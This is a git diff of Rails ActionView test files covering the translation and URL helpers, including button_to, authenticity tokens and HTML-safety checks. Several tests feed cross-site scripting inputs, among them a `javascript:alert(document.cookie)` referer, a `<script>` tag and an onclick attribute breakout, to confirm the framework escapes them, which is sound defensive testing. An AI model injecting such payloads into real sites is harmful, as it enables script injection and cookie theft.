-  test "formats always return :text" do
-    assert_equal [:text], ActionView::Template::Text.new("").formats
+  test "format always return :text" do
+    assert_equal :text, ActionView::Template::Text.new("").format
   end
 
   test "identifier should return 'text template'" do
diff --git a/actionview/test/template/translation_helper_test.rb b/actionview/test/template/translation_helper_test.rb
index 1cfc13f3370e8..ab735fe4666da 100644
--- a/actionview/test/template/translation_helper_test.rb
+++ b/actionview/test/template/translation_helper_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module I18n
@@ -18,8 +20,11 @@ class TranslationHelperTest < ActiveSupport::TestCase
       translations: {
         templates: {
           found: { foo: "Foo" },
+          found_yield_single_argument: { foo: "Foo" },
+          found_yield_block: { foo: "Foo" },
           array: { foo: { bar: "Foo Bar" } },
-          default: { foo: "Foo" }
+          default: { foo: "Foo" },
+          partial: { foo: "Partial foo" }
         },
         foo: "Foo",
         hello: "<a>Hello World</a>",
@@ -34,7 +39,9 @@ class TranslationHelperTest < ActiveSupport::TestCase
         }
       }
     )
-    @view = ::ActionView::Base.new(ActionController::Base.view_paths, {})
+    view_paths = ActionController::Base.view_paths
+    view_paths.each(&:clear_cache)
+    @view = ::ActionView::Base.with_empty_template_cache.with_view_paths(view_paths, {})
   end
 
   teardown do
@@ -42,16 +49,42 @@ class TranslationHelperTest < ActiveSupport::TestCase
   end
 
   def test_delegates_setting_to_i18n
-    assert_called_with(I18n, :translate, [:foo, locale: "en", raise: true], returns: "") do
+    matcher_called = false
+    matcher = ->(key, options) do
+      matcher_called = true
+      assert_equal :foo, key
+      assert_equal "en", options[:locale]
+    end
+
+    I18n.stub(:translate, matcher) do
       translate :foo, locale: "en"
     end
+
+    assert matcher_called
   end
 
   def test_delegates_localize_to_i18n
     @time = Time.utc(2008, 7, 8, 12, 18, 38)
-    assert_called_with(I18n, :localize, [@time]) do
-      localize @time
+    assert_called_with(I18n, :localize, [@time], locale: "en") do
+      localize @time, locale: "en"
     end
+    assert_equal "Tue, 08 Jul 2008 12:18:38 +0000", localize(@time, locale: "en")
+  end
+
+  def test_converts_key_to_string_as_necessary
+    key = Struct.new(:to_s).new("translations.foo")
+    assert_equal "Foo", translate(key)
+    assert_equal key, translate(:"translations.missing", default: key)
+  end
+
+  def test_returns_nil_for_nil_key_without_default
+    assert_nil translate(nil)
+  end
+
+  def test_returns_default_for_nil_key_with_default
+    assert_equal "Foo", translate(nil, default: "Foo")
+    assert_equal "Foo", translate(nil, default: :"translations.foo")
+    assert_predicate translate(nil, default: :"translations.html"), :html_safe?
   end
 
   def test_returns_missing_translation_message_without_span_wrap
@@ -73,7 +106,7 @@ def test_returns_missing_translation_message_wrapped_into_span
   def test_returns_missing_translation_message_with_unescaped_interpolation
     expected = '<span class="translation_missing" title="translation missing: en.translations.missing, name: Kir, year: 2015, vulnerable: &amp;quot; onclick=&amp;quot;alert()&amp;quot;">Missing</span>'
     assert_equal expected, translate(:"translations.missing", name: "Kir", year: "2015", vulnerable: %{" onclick="alert()"})
-    assert translate(:"translations.missing").html_safe?
+    assert_predicate translate(:"translations.missing"), :html_safe?
   end
 
   def test_returns_missing_translation_message_does_filters_out_i18n_options
@@ -84,16 +117,6 @@ def test_returns_missing_translation_message_does_filters_out_i18n_options
     assert_equal expected, translate(:"translations.missing", year: "2015", scope: %i(scoped))
   end
 
-  def test_raises_missing_translation_message_with_raise_config_option
-    ActionView::Base.raise_on_missing_translations = true
-
-    assert_raise(I18n::MissingTranslationData) do
-      translate("translations.missing")
-    end
-  ensure
-    ActionView::Base.raise_on_missing_translations = false
-  end
-
   def test_raises_missing_translation_message_with_raise_option
     assert_raise(I18n::MissingTranslationData) do
       translate(:"translations.missing", raise: true)
@@ -122,20 +145,88 @@ def test_translation_returning_an_array
   end
 
   def test_finds_translation_scoped_by_partial
-    assert_equal "Foo", view.render(file: "translations/templates/found").strip
+    assert_equal "Foo", view.render(template: "translations/templates/found").strip
+  end
+
+  def test_finds_translation_scoped_by_partial_yielding_single_argument_block
+    assert_equal "Foo", view.render(template: "translations/templates/found_yield_single_argument").strip
+  end
+
+  def test_finds_lazy_translation_scoped_by_partial
+    assert_equal "Partial foo", view.render(template: "translations/templates/partial_lazy_translation").strip
+  end
+
+  def test_finds_lazy_translation_scoped_by_partial_with_block
+    assert_equal "Partial foo", view.render(template: "translations/templates/partial_lazy_translation_block").strip
+  end
+
+  def test_finds_translation_scoped_by_partial_yielding_translation_and_key
+    assert_equal "translations.templates.found_yield_block.foo: Foo", view.render(template: "translations/templates/found_yield_block").strip
   end
 
   def test_finds_array_of_translations_scoped_by_partial
-    assert_equal "Foo Bar", @view.render(file: "translations/templates/array").strip
+    assert_equal "Foo Bar", @view.render(template: "translations/templates/array").strip
   end
 
   def test_default_lookup_scoped_by_partial
-    assert_equal "Foo", view.render(file: "translations/templates/default").strip
+    assert_equal "Foo", view.render(template: "translations/templates/default").strip
+  end
+
+  def test_missing_translation_reported_to_i18n_exception_handler
+    previous_handler = I18n.exception_handler
+
+    calls = []
+    I18n.exception_handler = ->(*args) { calls << args }
+    view.render(template: "translations/templates/missing")
+
+    first_call = calls.first
+    assert_not_nil first_call
+    exception = first_call.first
+    assert_instance_of I18n::MissingTranslation, exception
+    assert_equal "translations.templates.missing.missing", exception.key
+
+    assert_equal 1, calls.size
+
+    assert_nothing_raised do
+      previous_handler.call(*first_call)
+    end
+  ensure
+    I18n.exception_handler = previous_handler
   end
 
   def test_missing_translation_scoped_by_partial
     expected = '<span class="translation_missing" title="translation missing: en.translations.templates.missing.missing">Missing</span>'
-    assert_equal expected, view.render(file: "translations/templates/missing").strip
+    assert_equal expected, view.render(template: "translations/templates/missing").strip
+  end
+
+  def test_missing_translation_scoped_by_partial_yield_block
+    expected = 'translations.templates.missing_yield_block.missing: <span class="translation_missing" title="translation missing: en.translations.templates.missing_yield_block.missing">Missing</span>'
+    assert_equal expected, view.render(template: "translations/templates/missing_yield_block").strip
+  end
+
+  def test_missing_translation_scoped_by_partial_yield_block_without_debug_wrapper
+    old_debug_missing_translation = ActionView::Base.debug_missing_translation
+    ActionView::Base.debug_missing_translation = false
+
+    expected = "translations.templates.missing_yield_block.missing: translation missing: en.translations.templates.missing_yield_block.missing"
+    assert_equal expected, view.render(template: "translations/templates/missing_yield_block").strip
+  ensure
+    ActionView::Base.debug_missing_translation = old_debug_missing_translation
+  end
+
+  def test_missing_translation_with_default_scoped_by_partial_yield_block
+    expected = "translations.templates.missing_with_default_yield_block.missing: Default"
+    assert_equal expected, view.render(template: "translations/templates/missing_with_default_yield_block").strip
+  end
+
+  def test_missing_translation_scoped_by_partial_yield_single_argument_block
+    expected = '<span class="translation_missing" title="translation missing: en.translations.templates.missing_yield_single_argument_block.missing">Missing</span>'
+    assert_equal expected, view.render(template: "translations/templates/missing_yield_single_argument_block").strip
+  end
+
+  def test_missing_translation_with_default_scoped_by_partial_yield_single_argument_block
+    expected = "Default"
+    assert_equal expected, view.render(template: "translations/templates/missing_with_default_yield_single_argument_block").strip
   end
 
   def test_translate_does_not_mark_plain_text_as_safe_html
@@ -143,11 +234,11 @@ def test_translate_does_not_mark_plain_text_as_safe_html
   end
 
   def test_translate_marks_translations_named_html_as_safe_html
-    assert translate(:'translations.html').html_safe?
+    assert_predicate translate(:'translations.html'), :html_safe?
   end
 
   def test_translate_marks_translations_with_a_html_suffix_as_safe_html
-    assert translate(:'translations.hello_html').html_safe?
+    assert_predicate translate(:'translations.hello_html'), :html_safe?
   end
 
   def test_translate_escapes_interpolations_in_translations_with_a_html_suffix
@@ -162,8 +253,16 @@ def test_translate_with_html_count
     assert_equal "<a>Other &lt;One&gt;</a>", translate(:'translations.count_html', count: "<One>")
   end
 
-  def test_translation_returning_an_array_ignores_html_suffix
-    assert_equal ["foo", "bar"], translate(:'translations.array_html')
+  def test_translate_marks_array_of_translations_with_a_html_safe_suffix_as_safe_html
+    translate(:'translations.array_html').tap do |translated|
+      assert_equal %w( foo bar ), translated
+      assert translated.all?(&:html_safe?)
+    end
+  end
+
+  def test_translate_with_default_and_raise_false
+    translation = translate(:"translations.missing", default: :"translations.foo", raise: false)
+    assert_equal "Foo", translation
   end
 
   def test_translate_with_default_named_html
@@ -172,9 +271,15 @@ def test_translate_with_default_named_html
     assert_equal true, translation.html_safe?
   end
 
+  def test_translate_with_default_named_html_and_raise_false
+    translation = translate(:"translations.missing", default: :"translations.hello_html", raise: false)
+    assert_equal "<a>Hello World</a>", translation
+    assert_predicate translation, :html_safe?
+  end
+
   def test_translate_with_missing_default
-    translation = translate(:'translations.missing', default: :'translations.missing_html')
-    expected = '<span class="translation_missing" title="translation missing: en.translations.missing_html">Missing Html</span>'
+    translation = translate(:"translations.missing", default: :also_missing)
+    expected = '<span class="translation_missing" title="translation missing: en.translations.missing">Missing</span>'
     assert_equal expected, translation
     assert_equal true, translation.html_safe?
   end
@@ -185,6 +290,12 @@ def test_translate_with_missing_default_and_raise_option
     end
   end
 
+  def test_translate_with_html_key_and_missing_default_and_raise_option
+    assert_raise(I18n::MissingTranslationData) do
+      translate(:"translations.missing_html", default: :"translations.missing_html", raise: true)
+    end
+  end
+
   def test_translate_with_two_defaults_named_html
     translation = translate(:'translations.missing', default: [:'translations.missing_html', :'translations.hello_html'])
     assert_equal "<a>Hello World</a>", translation
@@ -203,11 +314,39 @@ def test_translate_with_last_default_not_named_html
     assert_equal false, translation.html_safe?
   end
 
+  def test_translate_does_not_mark_unsourced_string_default_as_html_safe
+    untrusted_string = "<script>alert()</script>"
+    translation = translate(:"translations.missing", default: [:"translations.missing_html", untrusted_string])
+    assert_equal untrusted_string, translation
+    assert_not_predicate translation, :html_safe?
+  end
+
   def test_translate_with_string_default
     translation = translate(:'translations.missing', default: "A Generic String")
     assert_equal "A Generic String", translation
   end
 
+  def test_translate_with_interpolated_string_default
+    translation = translate(:"translations.missing", default: "An %{kind} String", kind: "Interpolated")
+    assert_equal "An Interpolated String", translation
+  end
+
+  def test_translate_with_hash_default
+    hash = { one: "%{count} thing", other: "%{count} things" }
+    assert_equal hash, translate(:"translations.missing", default: hash)
+  end
+
+  def test_translate_with_hash_default_and_count
+    hash = { one: "%{count} thing", other: "%{count} things" }
+    assert_equal "1 thing", translate(:"translations.missing", default: hash, count: 1)
+    assert_equal "2 things", translate(:"translations.missing", default: hash, count: 2)
+  end
+
+  def test_translate_with_proc_default
+    translation = translate(:"translations.missing", default: Proc.new { "From Proc" })
+    assert_equal "From Proc", translation
+  end
+
   def test_translate_with_object_default
     translation = translate(:'translations.missing', default: 123)
     assert_equal 123, translation
@@ -228,9 +367,67 @@ def test_translate_with_array_of_array_default
     assert_equal [], translation
   end
 
+  def test_translate_with_false_default
+    translation = translate(:'translations.missing', default: false)
+    assert_equal false, translation
+  end
+
+  def test_translate_with_nil_default
+    translation = translate(:'translations.missing', default: nil)
+    assert_nil translation
+  end
+
+  def test_translate_bulk_lookup
+    translations = translate([:"translations.foo", :"translations.foo"])
+    assert_equal ["Foo", "Foo"], translations
+  end
+
+  def test_translate_bulk_lookup_with_default
+    translations = translate([:"translations.missing", :"translations.missing"], default: :"translations.foo")
+    assert_equal ["Foo", "Foo"], translations
+  end
+
+  def test_translate_bulk_lookup_html
+    translations = translate([:"translations.html", :"translations.hello_html"])
+    assert_equal ["<a>Hello World</a>", "<a>Hello World</a>"], translations
+    translations.each do |translation|
+      assert_predicate translation, :html_safe?
+    end
+  end
+
+  def test_translate_bulk_lookup_html_with_default
+    translations = translate([:"translations.missing", :"translations.missing"], default: :"translations.html")
+    assert_equal ["<a>Hello World</a>", "<a>Hello World</a>"], translations
+    translations.each do |translation|
+      assert_predicate translation, :html_safe?
+    end
+  end
+
   def test_translate_does_not_change_options
     options = {}
-    translate(:'translations.missing', options)
+    translate(:"translations.missing", **options)
     assert_equal({}, options)
   end
+
+  def test_translate_caching_backend
+    caching_backend = Class.new(I18n::Backend::Simple) do
+      include I18n::Backend::Cache
+    end
+
+    previous_backend = I18n.backend
+    previous_cache_store = I18n.cache_store
+
+    I18n.backend = caching_backend.new
+    I18n.backend.store_translations(:en, translations: { foo: "Foo" })
+    I18n.cache_store = ActiveSupport::Cache.lookup_store(:memory_store)
+
+    assert_equal "Foo", translate(:"translations.foo")
+
+    expected = '<span class="translation_missing" title="translation missing: en.translations.missing">Missing</span>'
+    assert_equal expected, translate(:"translations.missing")
+    assert_equal expected, translate(:"translations.missing") # returns cached translation
+  ensure
+    I18n.backend = previous_backend
+    I18n.cache_store = previous_cache_store
+  end
 end
diff --git a/actionview/test/template/url_helper_test.rb b/actionview/test/template/url_helper_test.rb
index 09454b32cc02a..200ceb6b89be3 100644
--- a/actionview/test/template/url_helper_test.rb
+++ b/actionview/test/template/url_helper_test.rb
@@ -1,5 +1,25 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
+class Workshop
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+  attr_accessor :id
+
+  def initialize(id)
+    @id = id
+  end
+
+  def persisted?
+    id.present?
+  end
+
+  def to_s
+    "Workshop #{id}"
+  end
+end
+
 class UrlHelperTest < ActiveSupport::TestCase
   # In a few cases, the helper proxies to 'controller'
   # or request.
@@ -7,8 +27,7 @@ class UrlHelperTest < ActiveSupport::TestCase
   # In those cases, we'll set up a simple mock
   attr_accessor :controller, :request
 
-  cattr_accessor :request_forgery
-  self.request_forgery = false
+  cattr_accessor :request_forgery, default: false
 
   routes = ActionDispatch::Routing::RouteSet.new
   routes.draw do
@@ -16,6 +35,14 @@ class UrlHelperTest < ActiveSupport::TestCase
     get "/other" => "foo#other"
     get "/article/:id" => "foo#article", :as => :article
     get "/category/:category" => "foo#category"
+    resources :sessions
+    resources :workshops do
+      resources :sessions
+    end
+
+    scope :engine do
+      get "/" => "foo#bar"
+    end
   end
 
   include ActionView::Helpers::UrlHelper
@@ -27,6 +54,8 @@ class UrlHelperTest < ActiveSupport::TestCase
   include RenderERBUtils
 
   setup :_prepare_context
+  setup { ActionView::Helpers::UrlHelper.button_to_generates_button_tag = @button_to_generates_button_tag = true }
+  teardown { ActionView::Helpers::UrlHelper.button_to_generates_button_tag = @button_to_generates_button_tag }
 
   def hash_for(options = {})
     { controller: "foo", action: "bar" }.merge!(options)
@@ -43,7 +72,7 @@ def test_url_for_does_not_include_empty_hashes
 
   def test_url_for_with_back
     referer = "http://www.example.com/referer"
-    @controller = Struct.new(:request).new(Struct.new(:env).new("HTTP_REFERER" => referer))
+    @controller = Struct.new(:request).new(Struct.new(:env).new({ "HTTP_REFERER" => referer }))
 
     assert_equal "http://www.example.com/referer", url_for(:back)
   end
@@ -60,23 +89,39 @@ def test_url_for_with_back_and_no_controller
 
   def test_url_for_with_back_and_javascript_referer
     referer = "javascript:alert(document.cookie)"
-    @controller = Struct.new(:request).new(Struct.new(:env).new("HTTP_REFERER" => referer))
+    @controller = Struct.new(:request).new(Struct.new(:env).new({ "HTTP_REFERER" => referer }))
     assert_equal "javascript:history.back()", url_for(:back)
   end
 
   def test_url_for_with_invalid_referer
     referer = "THIS IS NOT A URL"
-    @controller = Struct.new(:request).new(Struct.new(:env).new("HTTP_REFERER" => referer))
+    @controller = Struct.new(:request).new(Struct.new(:env).new({ "HTTP_REFERER" => referer }))
     assert_equal "javascript:history.back()", url_for(:back)
   end
 
+  def test_url_for_with_array_defaults_to_only_path_true
+    assert_equal "/other", url_for([:other, { controller: "foo" }])
+  end
+
+  def test_url_for_with_array_and_only_path_set_to_false
+    default_url_options[:host] = "http://example.com"
+    assert_equal "http://example.com/other", url_for([:other, { controller: "foo", only_path: false }])
+  end
+
   def test_to_form_params_with_hash
     assert_equal(
-      [{ name: :name, value: "David" }, { name: :nationality, value: "Danish" }],
+      [{ name: "name", value: "David" }, { name: "nationality", value: "Danish" }],
       to_form_params(name: "David", nationality: "Danish")
     )
   end
 
+  def test_to_form_params_with_hash_having_symbol_and_string_keys
+    assert_equal(
+      [{ name: "name", value: "David" }, { name: "nationality", value: "Danish" }],
+      to_form_params("name" => "David", :nationality => "Danish")
+    )
+  end
+
   def test_to_form_params_with_nested_hash
     assert_equal(
       [{ name: "country[name]", value: "Denmark" }],
@@ -98,22 +143,135 @@ def test_to_form_params_with_namespace
     )
   end
 
+  def test_button_to_without_protect_against_forgery_method
+    self.class.undef_method(:protect_against_forgery?)
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><button type="submit">Hello</button></form>},
+      button_to("Hello", "http://www.example.com")
+    )
+  ensure
+    self.class.define_method(:protect_against_forgery?) { request_forgery }
+  end
+
+  def test_button_to_with_authenticity_token
+    self.request_forgery = true
+
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><button type="submit">Hello</button><input name="form_token" type="hidden" value="token" autocomplete="off" /></form>},
+      button_to("Hello", "http://www.example.com", authenticity_token: "token")
+    )
+  ensure
+    self.request_forgery = false
+  end
+
+  def test_button_to_with_authenticity_token_true
+    self.request_forgery = true
+
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><button type="submit">Hello</button><input name="form_token" type="hidden" value="secret" autocomplete="off" /></form>},
+      button_to("Hello", "http://www.example.com", authenticity_token: true)
+    )
+  ensure
+    self.request_forgery = false
+  end
+
+  def test_button_to_with_authenticity_token_false
+    self.request_forgery = true
+
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><button type="submit">Hello</button></form>},
+      button_to("Hello", "http://www.example.com", authenticity_token: false)
+    )
+  ensure
+    self.request_forgery = false
+  end
+
   def test_button_to_with_straight_url
-    assert_dom_equal %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com")
+    assert_dom_equal %{<form method="post" action="http://www.example.com" class="button_to"><button type="submit">Hello</button></form>}, button_to("Hello", "http://www.example.com")
   end
 
   def test_button_to_with_path
     assert_dom_equal(
-      %{<form method="post" action="/article/Hello" class="button_to"><input type="submit" value="Hello" /></form>},
+      %{<form method="post" action="/article/Hello" class="button_to"><button type="submit">Hello</button></form>},
       button_to("Hello", article_path("Hello"))
     )
   end
 
+  def test_button_to_with_false_url
+    assert_dom_equal(
+      %{<form method="post" class="button_to"><button type="submit">Hello</button></form>},
+      button_to("Hello", false)
+    )
+  end
+
+  def test_button_to_with_false_url_and_block
+    assert_dom_equal(
+      %{<form method="post" class="button_to"><button type="submit">Hello</button></form>},
+      button_to(false) { "Hello" }
+    )
+  end
+
+  def test_button_to_with_new_record_model
+    session = Session.new(nil)
+
+    assert_dom_equal(
+      %{<form method="post" action="/sessions" class="button_to"><button type="submit">Create Session</button></form>},
+      button_to("Create Session", session)
+    )
+  end
+
+  def test_button_to_with_new_record_model_and_block
+    workshop = Workshop.new(nil)
+
+    assert_dom_equal(
+      %{<form method="post" action="/workshops" class="button_to"><button type="submit">Create</button></form>},
+      button_to(workshop) { "Create" }
+    )
+  end
+
+  def test_button_to_with_nested_new_record_model_and_block
+    workshop = Workshop.new("1")
+    session = Session.new(nil)
+
+    assert_dom_equal(
+      %{<form method="post" action="/workshops/1/sessions" class="button_to"><button type="submit">Create</button></form>},
+      button_to([workshop, session]) { "Create" }
+    )
+  end
+
+  def test_button_to_with_persisted_model
+    workshop = Workshop.new("1")
+
+    assert_dom_equal(
+      %{<form method="post" action="/workshops/1" class="button_to"><input type="hidden" name="_method" value="patch" autocomplete="off" /><button type="submit">Update</button></form>},
+      button_to(workshop) { "Update" }
+    )
+  end
+
+  def test_button_to_with_persisted_model_and_block
+    workshop = Workshop.new("1")
+
+    assert_dom_equal(
+      %{<form method="post" action="/workshops/1" class="button_to"><input type="hidden" name="_method" value="patch" autocomplete="off" /><button type="submit">Update</button></form>},
+      button_to(workshop) { "Update" }
+    )
+  end
+
+  def test_button_to_with_nested_persisted_model_and_block
+    workshop = Workshop.new("1")
+    session = Session.new("1")
+
+    assert_dom_equal(
+      %{<form method="post" action="/workshops/1/sessions/1" class="button_to"><input type="hidden" name="_method" value="patch" autocomplete="off" /><button type="submit">Update</button></form>},
+      button_to([workshop, session]) { "Update" }
+    )
+  end
+
   def test_button_to_with_straight_url_and_request_forgery
     self.request_forgery = true
 
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /><input name="form_token" type="hidden" value="secret" /></form>},
+      %{<form method="post" action="http://www.example.com" class="button_to"><button type="submit">Hello</button><input name="form_token" type="hidden" value="secret" autocomplete="off" /></form>},
       button_to("Hello", "http://www.example.com")
     )
   ensure
@@ -121,88 +279,92 @@ def test_button_to_with_straight_url_and_request_forgery
   end
 
   def test_button_to_with_form_class
-    assert_dom_equal %{<form method="post" action="http://www.example.com" class="custom-class"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com", form_class: "custom-class")
+    assert_dom_equal %{<form method="post" action="http://www.example.com" class="custom-class"><button type="submit">Hello</button></form>}, button_to("Hello", "http://www.example.com", form_class: "custom-class")
   end
 
   def test_button_to_with_form_class_escapes
-    assert_dom_equal %{<form method="post" action="http://www.example.com" class="&lt;script&gt;evil_js&lt;/script&gt;"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com", form_class: "<script>evil_js</script>")
+    assert_dom_equal %{<form method="post" action="http://www.example.com" class="&lt;script&gt;evil_js&lt;/script&gt;"><button type="submit">Hello</button></form>}, button_to("Hello", "http://www.example.com", form_class: "<script>evil_js</script>")
   end
 
   def test_button_to_with_query
-    assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&amp;q2=v2" class="button_to"><input type="submit" value="Hello" /></form>}, button_to("Hello", "http://www.example.com/q1=v1&q2=v2")
+    assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&amp;q2=v2" class="button_to"><button type="submit">Hello</button></form>}, button_to("Hello", "http://www.example.com/q1=v1&q2=v2")
+  end
+
+  def test_button_to_with_value
+    assert_dom_equal %{<form method="post" action="http://www.example.com" class="button_to"><button type="submit" name="key" value="value">Hello</button></form>}, button_to("Hello", "http://www.example.com", name: "key", value: "value")
   end
 
   def test_button_to_with_html_safe_URL
-    assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&amp;q2=v2" class="button_to"><input type="submit" value="Hello" /></form>}, button_to("Hello", raw("http://www.example.com/q1=v1&amp;q2=v2"))
+    assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&amp;q2=v2" class="button_to"><button type="submit">Hello</button></form>}, button_to("Hello", raw("http://www.example.com/q1=v1&amp;q2=v2"))
   end
 
   def test_button_to_with_query_and_no_name
-    assert_dom_equal %{<form method="post" action="http://www.example.com?q1=v1&amp;q2=v2" class="button_to"><input type="submit" value="http://www.example.com?q1=v1&amp;q2=v2" /></form>}, button_to(nil, "http://www.example.com?q1=v1&q2=v2")
+    assert_dom_equal %{<form method="post" action="http://www.example.com?q1=v1&amp;q2=v2" class="button_to"><button type="submit">http://www.example.com?q1=v1&amp;q2=v2</button></form>}, button_to(nil, "http://www.example.com?q1=v1&q2=v2")
   end
 
   def test_button_to_with_javascript_confirm
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><input data-confirm="Are you sure?" type="submit" value="Hello" /></form>},
+      %{<form method="post" action="http://www.example.com" class="button_to"><button data-confirm="Are you sure?" type="submit">Hello</button></form>},
       button_to("Hello", "http://www.example.com", data: { confirm: "Are you sure?" })
     )
   end
 
   def test_button_to_with_javascript_disable_with
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><input data-disable-with="Greeting..." type="submit" value="Hello" /></form>},
+      %{<form method="post" action="http://www.example.com" class="button_to"><button data-disable-with="Greeting..." type="submit">Hello</button></form>},
       button_to("Hello", "http://www.example.com", data: { disable_with: "Greeting..." })
     )
   end
 
   def test_button_to_with_remote_and_form_options
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="custom-class" data-remote="true" data-type="json"><input type="submit" value="Hello" /></form>},
+      %{<form method="post" action="http://www.example.com" class="custom-class" data-remote="true" data-type="json"><button type="submit">Hello</button></form>},
       button_to("Hello", "http://www.example.com", remote: true, form: { class: "custom-class", "data-type" => "json" })
     )
   end
 
   def test_button_to_with_remote_and_javascript_confirm
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><input data-confirm="Are you sure?" type="submit" value="Hello" /></form>},
+      %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><button data-confirm="Are you sure?" type="submit">Hello</button></form>},
       button_to("Hello", "http://www.example.com", remote: true, data: { confirm: "Are you sure?" })
     )
   end
 
   def test_button_to_with_remote_and_javascript_disable_with
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><input data-disable-with="Greeting..." type="submit" value="Hello" /></form>},
+      %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><button data-disable-with="Greeting..." type="submit">Hello</button></form>},
       button_to("Hello", "http://www.example.com", remote: true, data: { disable_with: "Greeting..." })
     )
   end
 
   def test_button_to_with_remote_false
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>},
+      %{<form method="post" action="http://www.example.com" class="button_to"><button type="submit">Hello</button></form>},
       button_to("Hello", "http://www.example.com", remote: false)
     )
   end
 
   def test_button_to_enabled_disabled
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>},
+      %{<form method="post" action="http://www.example.com" class="button_to"><button type="submit">Hello</button></form>},
       button_to("Hello", "http://www.example.com", disabled: false)
     )
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><input disabled="disabled" type="submit" value="Hello" /></form>},
+      %{<form method="post" action="http://www.example.com" class="button_to"><button disabled="disabled" type="submit">Hello</button></form>},
       button_to("Hello", "http://www.example.com", disabled: true)
     )
   end
 
   def test_button_to_with_method_delete
     assert_dom_equal(
-      %{<form method="post" action="http://www.example.com" class="button_to"><input type="hidden" name="_method" value="delete" /><input type="submit" value="Hello" /></form>},
+      %{<form method="post" action="http://www.example.com" class="button_to"><input type="hidden" name="_method" value="delete" autocomplete="off" /><button type="submit">Hello</button></form>},
       button_to("Hello", "http://www.example.com", method: :delete)
     )
   end
 
   def test_button_to_with_method_get
     assert_dom_equal(
-      %{<form method="get" action="http://www.example.com" class="button_to"><input type="submit" value="Hello" /></form>},
+      %{<form method="get" action="http://www.example.com" class="button_to"><button type="submit">Hello</button></form>},
       button_to("Hello", "http://www.example.com", method: :get)
     )
   end
@@ -216,11 +378,39 @@ def test_button_to_with_block
 
   def test_button_to_with_params
     assert_dom_equal(
-      %{<form action="http://www.example.com" class="button_to" method="post"><input type="submit" value="Hello" /><input type="hidden" name="baz" value="quux" /><input type="hidden" name="foo" value="bar" /></form>},
+      %{<form action="http://www.example.com" class="button_to" method="post"><button type="submit">Hello</button><input type="hidden" name="baz" value="quux" autocomplete="off" /><input type="hidden" name="foo" value="bar" autocomplete="off" /></form>},
       button_to("Hello", "http://www.example.com", params: { foo: :bar, baz: "quux" })
     )
   end
 
+  def test_button_to_with_block_and_hash_url
+    assert_dom_equal(
+      %{<form action="/other" class="button_to" method="post"><button class="button" type="submit">Hello</button></form>},
+      button_to({ controller: "foo", action: "other" }, class: "button") { "Hello" }
+    )
+  end
+
+  def test_button_to_generates_input_when_button_to_generates_button_tag_false
+    old_value = ActionView::Helpers::UrlHelper.button_to_generates_button_tag
+    ActionView::Helpers::UrlHelper.button_to_generates_button_tag = false
+
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><input type="submit" value="Save"/></form>},
+      button_to("Save", "http://www.example.com")
+    )
+  ensure
+    ActionView::Helpers::UrlHelper.button_to_generates_button_tag = old_value
+  end
+
+  def test_button_to_with_content_exfiltration_prevention
+    with_prepend_content_exfiltration_prevention(true) do
+      assert_dom_equal(
+        %{<!-- '"` --><!-- </textarea></xmp> --></option></form><form method="post" action="http://www.example.com" class="button_to"><button type="submit">Hello</button></form>},
+        button_to("Hello", "http://www.example.com")
+      )
+    end
+  end
+
   class FakeParams
     def initialize(permitted = true)
       @permitted = permitted
@@ -231,13 +421,17 @@ def permitted?
     end
 
     def to_h
-      { foo: :bar, baz: "quux" }
+      if permitted?
+        { foo: :bar, baz: "quux" }
+      else
+        raise ArgumentError
+      end
     end
   end
 
   def test_button_to_with_permitted_strong_params
     assert_dom_equal(
-      %{<form action="http://www.example.com" class="button_to" method="post"><input type="submit" value="Hello" /><input type="hidden" name="baz" value="quux" /><input type="hidden" name="foo" value="bar" /></form>},
+      %{<form action="http://www.example.com" class="button_to" method="post"><button type="submit">Hello</button><input type="hidden" name="baz" value="quux" autocomplete="off" /><input type="hidden" name="foo" value="bar" autocomplete="off" /></form>},
       button_to("Hello", "http://www.example.com", params: FakeParams.new)
     )
   end
@@ -250,14 +444,14 @@ def test_button_to_with_unpermitted_strong_params
 
   def test_button_to_with_nested_hash_params
     assert_dom_equal(
-      %{<form action="http://www.example.com" class="button_to" method="post"><input type="submit" value="Hello" /><input type="hidden" name="foo[bar]" value="baz" /></form>},
+      %{<form action="http://www.example.com" class="button_to" method="post"><button type="submit">Hello</button><input type="hidden" name="foo[bar]" value="baz" autocomplete="off" /></form>},
       button_to("Hello", "http://www.example.com", params: { foo: { bar: "baz" } })
     )
   end
 
   def test_button_to_with_nested_array_params
     assert_dom_equal(
-      %{<form action="http://www.example.com" class="button_to" method="post"><input type="submit" value="Hello" /><input type="hidden" name="foo[]" value="bar" /></form>},
+      %{<form action="http://www.example.com" class="button_to" method="post"><button type="submit">Hello</button><input type="hidden" name="foo[]" value="bar" autocomplete="off" /></form>},
       button_to("Hello", "http://www.example.com", params: { foo: ["bar"] })
     )
   end
